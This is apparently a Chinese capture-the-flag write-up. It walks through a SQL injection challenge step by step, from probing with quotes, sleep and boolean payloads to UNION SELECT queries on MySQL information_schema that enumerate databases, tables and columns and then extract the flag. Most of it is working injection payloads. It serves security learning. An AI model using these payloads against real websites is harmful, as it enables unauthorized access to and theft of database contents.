前言
第一次看到元数据在sql注入的应用好像是在《web安全深度剖析》,鉴于经验缺乏,只是知道有这么个东西,不知道怎么应用。今天遇到一道和元数据相关的SQL注入题目,所以记录下来。
获取元数据
//获取所有的库名称:
select SCHEMA_NAME from information_schema.SCHEMATA
//获取某一库中所有表的名称:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此处为库名'
//获取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此处为表名'
题目分析
题目地址:http://120.24.86.145:8002/chengjidan/
第一步测试
出于习惯,在输入框提交以下信息:
’(单引号)
—无反应
1-3 三个数字
—显示三个人的成绩
1' and sleep(3) -- s
—延时返回,结果与只输入1相同(这里引号应该闭合成功了,and sleep(3) 可替换为其他合法语句)
' or 1=1 -- s
—与只输入1相同(这里猜测其实查询出了多条记录,但是页面只显示第一条)
' or 1=1 order by id DESC -- s
—与只输入3相同(到这里可以大概判断出:该表中共有3条记录,且页面只显示每次查询的第一条记录,与上面的猜测吻合)
进一步猜测查询语句结构
为了方便后续使用union查询,我们需要进一步判断当前查询语句查询了几个字段。1' union select 1,2,3 -- s
1' union select 1,2,3,4 -- s
1' union select 1,2,3,4,5 -- s
执行上述语句后只有第二个正常返回结果,所以查询语句应该查询了4个字段。
寻找flag在数据库中的位置
这里就是用到元数据的地方了。其实根据上面的测试,我们已经找到了能够执行语句的地方。
-1' (此处填写合法语句) -- s //这里-1是因为想让他查不出任何记录,这样第一条记录才会是我想要的记录。
首先查询数据库:SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
构造如下语句:-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s
(group_concat为了使得多个记录显示在一起)。
可查询出flag所在数据库:skctf_flag
再查询skctf_flag中有哪些表:
-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s
可知flag应该在fl4g表中。
再查询表中列:-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s
列为skctf_flag。
最后查询flag:-1' union select 1,2,3,(select skctf_flag from fl4g) -- s
结束。